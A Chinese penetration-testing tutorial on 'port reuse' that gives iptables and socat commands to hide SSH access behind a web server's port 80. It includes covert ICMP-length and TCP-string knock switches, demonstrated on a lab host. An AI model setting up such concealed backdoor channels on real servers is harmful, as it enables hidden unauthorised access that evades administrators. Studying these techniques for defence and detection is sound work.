本文最后更新于:2024年8月17日 晚上
渗透测试之端口复用
端口复用是指不同而应用程序使用相同的端口进行通讯,在渗透过程中,此种方法可以将正常业务端口复用到恶意流量端口,从而达到隐藏恶意服务的目的。为了实践端口复用的具体流程,这里使用iptables
做端口复用。
网络环境
这里目标机器(192.168.78.138)
上仅有一个80
端口开放网页服务,我们将会使用该端口复用之22
端口,使用能够作为ssh
进行连接。
iptables根据源地址做端口复用
iptables
可以根据源路由的ip地址进行流量重定向,下面命令表示,来自192.168.78.1
的访问80
端口的请求都重定向至22
端口。
1 2 3 4 5 6 7
| iptables -t nat -A PREROUTING -s 192.168.78.1 -p tcp --dport 80 -j REDIRECT --to-port 22
iptables -t nat -nvL
iptables -t nat -nvL --line-number
iptables -t nat -D PREROUTING 1
|
当然此种方式将会完全转发指定主机通向80端口的流量,如果某些特殊情况下需要访问原80端口的网页,这种方法就不可取了。
iptables根据源地址源端口做端口复用
iptables
可以根据源路由的ip地址和端口进行流量重定向,下面命令表示,来自192.168.78.143
的33333端口发起的访问80
端口的请求都重定向至22
端口。
1
| iptables -t nat -A PREROUTING -s 192.168.78.143 -p tcp --sport 33333 --dport 80 -j REDIRECT --to-port 22
|
当然此种方式需要指定发起请求主机的发起端口,我们可以使用socat
监听一个本地端口,并进行转发,将发往6666
端口所有数据通过33333
端口转发出去:
1
| nohup socat tcp-listen:6666,fork,reuseaddr tcp:192.168.78.138:80,sourceport=33333,reuseaddr &
|
直接使用ssh连接6666
端口即可。
由上可知,此种方法只允许本地一个端口进行访问,当存在多个链接时,本地端口只有一个,这可能会造成一些混乱与麻烦。
iptables利用ICMP做遥控开关
iptables还有一些比较高级的用法,例如在收到某些包时做一些规则操作,这里介绍以下使用icmp
做端口转发。
1 2 3 4 5 6 7 8 9 10
| #创建端口复用链 iptables -t nat -N LETMEIN #创建端口复用规则,将流量转发至 22 端口 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 #开启开关,如果接收到一个长为 1139 的 ICMP 包(即整个ip数据包长度),则将来源 IP 添加到加为letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT #关闭开关,如果接收到一个长为 1140 的 ICMP 包(即整个ip数据包长度),则将来源 IP 从 letmein 列表中去掉 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT #如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
|
开始端口复用
1 2
| ping -c 1 -s 1097 192.168.78.138
|
关闭端口复用
1 2
| ping -c 1 -s 1112 192.168.78.138
|
iptables利用TCP做遥控开关
1 2 3 4 5 6 7 8 9 10
| iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
iptables -A INPUT -p tcp -m string --string 'sshopen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
iptables -A INPUT -p tcp -m string --string 'sshclose' --algo bm -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
|
开始端口复用
1 2
| echo sshopen | socat - tcp:192.168.78.138:80
|
关闭端口复用
1 2
| echo sshclose | socat - tcp:192.168.78.138:80
|
经过上述介绍,相信你已经初步了解了端口复用的使用方法,iptables的用法还远不止于此,有时间会出一篇文章详细介绍iptables
用法。